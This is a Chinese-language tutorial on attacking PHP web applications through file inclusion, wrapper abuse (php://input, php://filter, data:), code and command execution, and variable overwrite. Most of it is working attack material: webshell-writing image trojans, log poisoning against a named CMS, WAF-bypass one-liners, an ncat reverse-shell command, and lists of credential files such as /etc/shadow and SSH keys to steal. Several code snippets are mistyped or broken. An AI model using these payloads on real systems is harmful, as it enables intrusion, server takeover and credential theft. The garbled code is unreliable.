大纲:
PHP相关漏洞
JSP相关漏洞
其他漏洞汇总
PHP相关漏洞
文件包含漏洞
php://input等伪协议利用
代码执行漏洞
变量覆盖漏洞
文件包含漏洞
程序开发人员一般会把重复使用的函数写到一个单个文件中,在需要使用某个函数的时候直接调用此文件,二无需再次编写,这种文件调用的过程一般被称为文件包含。
开发人员为使代码变得更灵活,将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,导致客户端可以嗲用一个恶意文件,造成文件包含漏洞。
几乎所有的脚本语言都会提供文件包含的功能,单文件包含漏洞在PHP web application中居多,而在JSP,ASP,ASP.NET程序中却非常少见,甚至不存在,在PHP中经常出现(多存在与美国的站点),但不能代表其他语言中没有的。
“包含”这个过程在语言中都有,但漏洞在PHP中居多。
常见的文件包含函数
include():执行include时才包含文件,找不到文件的时候只会产生警告,脚本会继续运行;
require():只要程序一运行就包含文件,找不到文件的时候会产生致命的错误,并停止脚本;
include_once()和require_once():若文件中代码已被包含则不会再次包含。
(可以用包含隐藏后门,绕过拦截WAF)
利用条件
程序用include()等文件包含函数通过动态变量的范式引入需要包含的文件;
用户能够控制该动态变量。
漏洞危害
执行任意代码
包含恶意文件控制网站
控制服务器
e.g www.xx.com/index.php?file=./upload/a.php 这种连接就可能存在漏洞
其中file是文件名称,动态传参;a.php就是被包含的文件。
例子:
开启PHPstudy,在网站根目录下新建PHP文件和jpg文件
打开浏览器,如图
此时可以读取任意的文件内容
漏洞分类
本地文件包含:可以包含本地文件,在条件允许的时候甚至能执行代码
上传图片马,然后包含;
读取敏感文件,读php文件;
包含日志文件getshell;
包含/proc/self/envion文件getshell;
包含data:或php://input等伪协议;
若有phpinfo则可以包含临时文件。
远程文件包含:可以直接执行任意代码
要保证php.ini(配置文件)allow_url_fopen和allow_url_include为on
e.g www.xx.com/index.php?file=http://www.baidu.com/a.php
漏洞挖掘
白盒代码审计
黑盒工具挖掘
awvs appscan burp w3af
手工:找带“.”的文件 找系统中自带的文件
e.g www.xx.com/index.php?file=./../etc/passwd
本地包含漏洞
文件包含漏洞利用的条件
1、include()等函数通过动态变量的方法引入需要包含的文件
2、用户能控制动态变量
<?php
$test-$_GET['c']; //通过c赋值给test
include($test); //包含
?>
或者
<?php include($_GET[c]); ?>
将上述代码保存为.php文件
在同一个目录下创建test.txt内容为<?php phpinfo() ?>
访问测试
http://127.0.0.1/test/include.php?c=test.txt
将test.txt传送给c并赋值给test变量
本地包含漏洞注意事项
相对路径
../../../etc/passwd
%00截断包含(PHP<5.3.4)
<?php
include "$_GET['x'].".php";
echo "$_GET['x'].".php";
?>
这些代码会在后面附加.php 直接将被包含的文件默认文php文件进行搜索,但是我们存储的是a.txt,他搜索的是a.txt.php,此时就搜不到文件,就会报错
magic_quotes_gps=off才可以,否则%00会被转义
此时访问127.0.0.1/bao.php?c=a.txt.php
但目录下并没有这个文件,此时就无法读取我们要读的文件
解决方法:加%00截断
127.0.0.1/bao.phpc=a.txt%00
利用技巧
上传图片马,马包含的代码为
<?
fputs(fopen("shell.php","w")),"<?php eval($_POST[x]);?>")
?>
上传后图片路径为/uploadfile/x.jpg
当访问http://www.xx.com/xx.php?page=uploadfile/x.jpg时
将会在fi文件夹下生成shell.php,内容为<?php eval($_POST[x]); ?>
读取敏感文件
Windows:
c:\boot.ini | 产看系统版本 |
c:\Windows\System32\inetsrv\MetaBase.xml | IIS配置文件 |
c:\Windows\repair\sam | 存储系统初次安装的密码 |
c:\Program Files\mysql\my.ini | MySQL配置 |
c:\Program Files\mysql\data\mysql\nser.MYD | MySQL root |
c:\Windows\php.ini | PHP配置信息 |
c:\Windows\my.ini | MySQL配置信息 |
Linux:
/root/.ssh/authorized_keys |
/root/.ssh/id_rsa |
root/.ssh/id_ras.keystore |
root/.ssh/known_hosts |
/etc/shadow |
/etc/passwd |
/etc/my.cnf |
/etc/httpd/conf/httpd.conf |
/root/.bash_history |
/root/.bash_history |
/proc/self/fd/fd[0-9]*(文件标识符) |
/proc/mounts |
/proc/config.gz |
包含日志(主要是得到日志的路径)
Linux访问日志路径:/var/log/httpd/access_log //主要存储的是访问者的IP;访问的页面;user-agent
读取日志路径
文件包含漏洞读取Apache配置文件
index.php?page=/etc/init.d/httpd
index.php?page=/etc/httpd/conf/httpd.conf
默认位置/var/log/httpd/access_log
存储的内容:
e.g 1.1.1.1 2.2.2.2 index.php?id=1 user-agent=baidu.com
可以在访问的时候讲一句话加载后面,访问的时候讲一句话记录在日志文件中
index.php?id=1 <?php @eval($_GET[x]);?>
读取:
index.php?file=../../../../var/log/httpd/access_log
日志会记录客户端请求及服务器响应的信息
访问http://www.xx.com/<?php phpinfo();?>时,后面的代码也会记录在日志中,也可以直接插到user-agent,也可以通过burp饶过编码
实例:包含日志,一句话拿shell
在标志的连接中存在文件包含漏洞
如图所示,就是一种文件包含的格式
包含了video文件下的detail文件夹中的页面
下 面在后面构造路径使其报错:http://127.0.0.1/ekucms2.5/index.php?s=my/show/id/{~eval($_POST[x])}
此时会在网站的以下路径中的log文件中生成日志,该日志中就会将我们的一句话写在里面
此时我们就可以利用文件包含漏洞来包含这个日志文件,
在上图中我们可以看到原本的一句话代码没有显示,说明是已经执行了,此时用菜刀连接就可以了。
文件包含漏洞实例
制作错误,写入一句话
http://127.0.0.1/ekucms/index.php?s=my/show/id/{~eval($_POST[x])}
包含日志文件
菜刀连接getshell
读PHP文件内容
直接包含PHP文件时会被解析执行,不能查看到源码,可以用封装协议读取:
?page=php://filer/read=convert.base64-encode/recource=config.php
访问该URL后会返回config.php中经过base64加密后的字符串,解密后就是文件的源码。
当包含cp.php文件时,回显的是他执行后的结果,无法看到php源码
(伪协议:就是用来控制输入输出流)
使用php伪协议对php文件的内容进行base64加密后输出到页面
将其解密后就是php文件的源码
使用PHP封装协议
allow_url_include=on时,若执行http://www.xx.com/index.php?page=php://input,并且提交数据<?php fpute(fopen("shell.php","w"),"<?php eval($_POST['x']);?>")?>
结果将在index.php所有文件下生成一句话文件shell.php
远程包含
注:远程包含的文件名不能为php可解析的扩展名;
allow_url_fopen和allow_url_include为on(在php.ini中)
若在a.txt中写入<?php fputs(fopen("shell.php","w"),"<>php @eval($_POST[x];?>")?>,直接写shell
php://- 访问各个输入输出流
PHP提供了一些杂项输入/输出(IO)流,允许访问PHP的输入输出流,标准输入输出和错误描述符,内存中,磁盘备份时临时文件流以及可以操作其他读取写入文件资源的过滤器
php://input
是个可以访问请求的原始数据的只读流,POST请求的情况因为它不依赖于特定的php.ini指令,而且,这样的情况下$HTTP_RAW_POST_DATA默认没有填充
比激活always_populate_raw_post_data潜在需要更少的内存
enctype="multipart/from-data"的时候php://input是无效的
利用php://input插入一句话木马
<?php
//$data=file_get_contents('php://onput');
//echo $data."<br/>";
@eval(file_get_contents('php://input'));
?>
php://input是用来接收post数据
在post下插入数据
system('ncat -e /bin/bash localhost 1234');
测试nc反弹shell
php://input将文件包含漏洞变成代码执行漏洞
文件中存在包含漏洞的代码
<?php @include($_GET["file"])?>
使用php://input,将执行代码通过hackbar在post data中提交
<?php system('ifconfig')?>
data url schema
将文件包含漏洞变成代码执行漏洞并绕过360网站卫士的waf
在实施时,问价包含漏洞在读取php文件时,是不能显示文件源码的,在很多情况下,我们需要读取php格式的配置文件,例如:
dedecms数据库配置文件data/common.inc.php
discuz全局配置文件config/config_global.php
phpcms配置文件caches/configs/database.php
phpwind配置文件config/database.php
wordpress配置文件FileInclude.php
<?php system('cat/var/www/FileInclude.php')?>
然后将攻击代码转换为data:url
data:text/plain,<?php system('cat/var/www/FileInclude.php')?>
注意:转化偶的GET请求的参数中包含<?的标记,在遇到有些waf,包括云waf,就会将其视为攻击代码,阻拦下来,所以要对其进行编码处理
data:text/plain;base54,[攻击代码的base64 编码]
php://filter在文件包含漏洞中的利用
读取PHP文件源码内容
用法:
php://filter/read=convert.base64-encode/resource=[文件路径]
将得到base64的数据解码得出PHP文件内容
代码执行漏洞
代码执行函数
PHP中可以执行代码的函数,如
eval()
assert()
上述两个是把接受到的字符串当做代码来执行
`` 这个是反引号
system()
exec()
shell_exec()
passthru()
escapeshellcmd()
pcntl_exec()
上述的都是命令执行函数,执行系统命令
例如:<?php eval($_POST[x])?>
访问:http://127.0.0.1/bao.phpx=要执行的命令;
http://127.0.0.1/bao.phpx=phpinfo();
http://127.0.0.1/bao.phpx=system(ipconfig);
http://127.0.0.1/bao.phpx=system(whoami);
过WAF语句:<?php $_GET[b]($_GET[a]);?>
访问:
http://127.0.0.1/bao.php?b=eval&a=phpinfo()
http://127.0.0.1/bao.php?b=assert&a=phpinfo()
动态代码执行
<?php
$a=$_GET[a];
$b=$_GET[b];
$a($b);
?>
http://127.0.0.1/x.php?a-system&b=ipconfig
执行系统命令
命令执行函数
在PHP中可以用以下5个函数来执行外部的应用程序或函数
1、system:执行一个外部的应用程序并显示输出的结果
2、exec:执行一个外部的应用程序
3、passthru:执行一个Unix系统命令并显示原始的输出
4、shell_exec:执行shell命令并返回输出的结果的字符串
5、··运算符:与shell_exec函数的功能相同。
system函数的使用
<?php
$cmd=$_GET["cmd"];
echo "<pre>";
system($cmd);
echo "</pre>";
?>
http://127.0.0.1/sys.php?cmd=ipconfig
shell_exec函数
<?php
$x=$_GET[x];
echo shell_exec($x);
?>
http://127.0.0.1/x.php?x=ipconfig
http://www.xx.com/search.php?searchtype=5&id=&avea=phpinfo()
变量覆盖漏洞
变量如果未初始化,且能被用户所控制
在PHP中若register_globals为on是尤其严重
此为全局变量覆盖漏洞
当register_golbal=on时,变量来源可能是各个不同的地方
比如页面表单,cookie等
变量覆盖示例